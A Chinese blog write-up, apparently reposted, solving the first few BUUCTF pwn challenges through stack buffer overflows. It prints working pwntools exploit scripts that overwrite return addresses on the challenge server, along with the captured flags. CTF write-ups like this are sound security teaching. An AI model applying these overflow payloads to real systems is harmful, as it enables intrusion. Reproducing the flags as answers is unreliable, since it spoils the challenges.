概述
test_your_nc
emmmmm,第一题没啥好说的,nc后直接便有了程序的控制权,cat flag即可得到flag:
所以flag为:flag{92968833-30fe-47d1-8d28-d398ce58d681}
rip
老样子,检查保护机制:
linux下64位程序只开了NX(栈不可执行),先拖进ida看看:
很容易看出来,溢出点为gets函数,此外,易得fun函数处有系统级函数:
则即可通过gets函数的溢出,在主函数结束后执行fun函数,然后获得程序的控制权,随之得到flag,exp和flag如下:
#!/usr/bin/python3
from pwn import *
sh=remote('node4.buuoj.cn','26578')
payload=b'a'*(0xf+0x8)+p64(0x40118A)
sh.sendline(payload)
sh.interactive()
运行:
由此可得flag为:flag{76f97e3a-6b56-4fe9-b0a5-f230001c5914}
warmup_csaw_2016
万变不离其宗,看文件类型和保护类型:
和上题一模一样,还是拖进IDA看看:
这题和以前的题不同的是,并不需要获得程序的控制权限,只需要运行system函数即可,同样很容易看出来本题的溢出函数仍然是gets函数,易得exp和flag:
#!/usr/bin/python3
from pwn import *
sh=remote('node4.buuoj.cn','27771')
sh.recv()
payload=b'a'*(0x48)+p64(0x400611)
sh.sendline(payload)
sh.interactive()
运行:
所以flag为:flag{ 40db9955-509d-40ed-b528-7d6bb5cc7b80}
ciscn_2019_n_1
老样子:
ida查看:
这道题!!!!!有点????,很多人会想着利用gets函数将v2的值修改为11.28125,然后进入函数!!!!然后,问题就出来了!!!这个数是个小数,如果直接用p32打包去传,不行!因为p32传的只能是整数,后来我发现,我为什么要使他们相等?我直接利用gets函数,然后执行system函数即可,由此可得,exp和flag:
#!/usr/bin/python3
from pwn import *
sh=remote('node4.buuoj.cn','25262')
payload=b'a'*(0x38)+p64(0x4006BE)
sh.sendline(payload)
sh.interactive()
运行:
所以flag为:flag{e0754b95-bc73-4b8f-80df- 739f4e281cod}
pwn1_sctf_2016
老样子:
ps:不看文件名我都觉得一张图复制了五遍了,2333333,然后看ida:
其实刚刚看到这些东西,我是一脸懵逼的,因为我没学过C++,然后看了看别人的write,然后觉得自己观察的还是太不仔细,这题很明显和I和you有关,本题为s分配了0x3c的空间,而实际只用了0x20,完全没有达到溢出的条件,然后看后面,也只是将s经过一系列操作然后再复制给s,然后中间转化,很容易发现,如果我们输入的是I则会转换成you,也就是输入1个字节会变成3个字节,由此可得溢出,我们需要填满0x3c+0x4(因为是32程序,所以ebp是四个字节),则我们可以输入21个I,然后再输入一个除I以外的字符,然后将ret修改成get_flag函数即可,则可得exp和flag:
#!/usr/bin/python3
from pwn import *
sh=remote('node4.buuoj.cn','26765')
payload=b'I'*(0x15)+b's'+p32(0x8048F13)
sh.sendline(payload)
sh.interactive()
运行:
所以flag为:flag{ob045902-1e11-4985-b7ea-88709054c21f}
jarvisoj_level0
本题由于我在攻防世界做过原题,因此在这就不做过多的解释,感兴趣的朋友可以看我之前的博客:攻防世界PWN题——level0_Greic的博客-CSDN博客
总结
这几道题型其实都差不多,只是让我们了解栈溢出的。道阻且长!!!!继续努力!!!!争取早日向师傅们看齐!!!!一起加油吧,各位~
最后
以上就是懦弱草丛为你收集整理的BUUCTF前六题的全部内容,希望文章能够帮你解决BUUCTF前六题所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复